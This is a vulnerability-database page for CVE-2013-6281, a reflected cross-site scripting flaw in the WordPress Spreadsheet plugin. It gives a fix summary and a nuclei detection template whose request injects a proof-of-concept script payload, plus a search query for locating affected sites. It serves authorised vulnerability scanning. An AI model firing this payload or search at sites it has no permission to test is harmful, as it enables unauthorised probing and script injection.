HexBrain

Browse / CVEs / CVE-2013-6281

CVE-2013-6281· dhtmlx / dhtmlxspreadsheet· CWE-79

WordPress Spreadsheet - Cross-Site Scripting

mediumseverity
4.3CVSS score
5.2%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

WordPress Spreadsheet plugin contains a reflected cross-site scripting vulnerability in /dhtmlxspreadsheet/codebase/spreadsheet.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress site, leading to potential data theft, session hijacking, or defacement.

Fix

Update the WordPress Spreadsheet plugin to the latest version, which includes proper input sanitization to mitigate the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "page: '<script>alert(document.domain)</script>'" and "dhx_rel_path" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2013-6281 -u <target>

The full check
id: CVE-2013-6281

info:
  name: WordPress Spreadsheet - Cross-Site Scripting
  author: random-robbie
  severity: medium
  description: |
    WordPress Spreadsheet plugin contains a reflected cross-site scripting vulnerability in /dhtmlxspreadsheet/codebase/spreadsheet.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress site, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Spreadsheet plugin to the latest version, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/49785932-f4e0-4aaa-a86c-4017890227bf
    - https://wordpress.org/plugins/dhtmlxspreadsheet/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6281
    - https://nvd.nist.gov/vuln/detail/CVE-2013-6281
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-6281
    cwe-id: CWE-79
    epss-score: 0.0522
    epss-percentile: 0.92578
    cpe: cpe:2.3:a:dhtmlx:dhtmlxspreadsheet:2.0:-:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dhtmlx
    product: dhtmlxspreadsheet
    framework: wordpress
    google-query: inurl:/wp-content/plugins/dhtmlxspreadsheet
  tags: cve2013,cve,wp,wpscan,wordpress,xss,wp-plugin,dhtmlx,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "page: '<script>alert(document.domain)</script>'"
          - "dhx_rel_path"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from